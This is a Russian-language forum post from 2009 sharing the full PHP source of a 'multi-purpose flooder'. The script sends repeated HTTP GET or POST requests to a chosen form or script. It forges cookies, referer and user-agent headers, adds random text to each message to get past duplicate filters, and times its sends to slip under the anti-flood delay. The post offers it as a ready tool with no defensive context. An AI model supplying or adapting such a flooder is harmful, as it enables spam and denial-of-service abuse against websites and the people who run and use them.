
05.10.2009, 10:06
|
|
Новичок
Регистрация: 27.04.2008
Сообщений: 15
Провел на форуме: 154305
Репутация:
6
|
|
Универсальный флудер на PHP.
PHP код:
<?php
/*
* Figaroo Multi-purpose Flooder v1.0
*
* Описание: универсальный флудер
* Требования: разрешение на работу с сокетами
* Автор - Figaroo, http://figaroo.ru/
*/
// неограниченное время выполнения скрипта
set_time_limit(0);
// настройки
define('URL', 'POST http://localhost/poligon/global_flooder/test.php'); // HTTP-метод и URL скрипта, который будем флудить
define('TIMES', 3); // количество сообщений, которых требуется отправить
define('ANTIFLOOD', 5); // время задержки (антифлуда), в секундах
define('COOKIES', 'param1=a; param2=b'); // кукисы
define('REFERER', 'http://localhost/poligon/global_flooder/test.php'); // реферер
define('USERAGENT', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)'); // юзер-агент
define('RNDVAR', '<VAR>'); // случайный текст будет подставлен вместо этого
// данные для отправки методом GET
// <VAR> будет заменено на случайное значение
$GET_DATA = array(
'text' => 'Привет всем!',
);
// данные для отправки методом POST
// <VAR> будет заменено на случайное значение
$POST_DATA = array(
'message' => 'Тест. message =) [<VAR>]',
'test' => '123',
);
// флудим
$count = 0; // счётчик отправленных сообщений
$url = explode(' ', URL);
$method = $url[0];
$url = parse_url($url[1]);
if (!@$url['port']) $url['port'] = 80;
$GET_DATA = array_function('rnd_var_handl', $GET_DATA);
$GET_DATA = $GET_DATA ? http_build_query($GET_DATA) : '';
$POST_DATA = array_function('rnd_var_handl', $POST_DATA);
$POST_DATA = $POST_DATA ? http_build_query($POST_DATA) : '';
// отправка сообщений в цикле
for ($i = 0; $i < TIMES; $i++) {
$fp = @fsockopen(@$url['host'], @$url['port'], $errno, $errstr, 10);
if (!$fp) continue;
// формируем заголовки запроса:
$req = $method." ".@$url['path'].($GET_DATA ? '?'.$GET_DATA : '')." HTTP/1.1\r\n";
$req .= "Host: ".@$url['host']."\r\n";
if (USERAGENT) $req .= "User-agent: ".USERAGENT."\r\n";
if (COOKIES) $req .= "Cookie: ".COOKIES."\r\n";
if (REFERER) $req .= "Referer: ".REFERER."\r\n";
if ($method == "POST") {
$req .= "Content-type: application/x-www-form-urlencoded\r\n";
$req .= "Content-Length: ".strlen($POST_DATA)."\r\n";
}
// отсылаем запрос
$req .= "\r\n";
if ($method == 'POST') $req .= $POST_DATA;
fwrite($fp, $req);
fclose($fp);
$count++;
// ждём $antiflood микросекунд и повторяем цикл
if (ANTIFLOOD) sleep(ANTIFLOOD + 1);
}
// замена "случайной" переменной
function rnd_var_handl ($data) {
return str_replace(RNDVAR, md5(microtime(1)), $data);
}
// рекурсивная обработка массивов
function array_function ($func, $array) {
if (!is_array($array)) return call_user_func($func, $array);
foreach ($array as $k => $v) {
if (is_array($v)) $array[$k] = array_function($func, $v);
else $array[$k] = call_user_func($func, $v);
}
return $array;
}
?>
<html>
<body>
<b>Отчёт:</b>
<ul>
<li>Отправлено <b><?=$count?></b> <b><?=$method?></b>-запросов из <b><?=TIMES?></b> требуемых;</li>
<li>Интервал отправки сообщений составил <b><?=ANTIFLOOD?></b> сек.;</li>
<li>Подключение осуществлялось через <b><?=@$url['host']?>:<?=@$url['port']?></b>;</li>
<li>Требуемый скрипт: <b><?=@$url['path']?></b>;</li>
</ul>
<i>Figaroo Multi-purpose Flooder v1.0</i>
</body>
</html>
|
|
|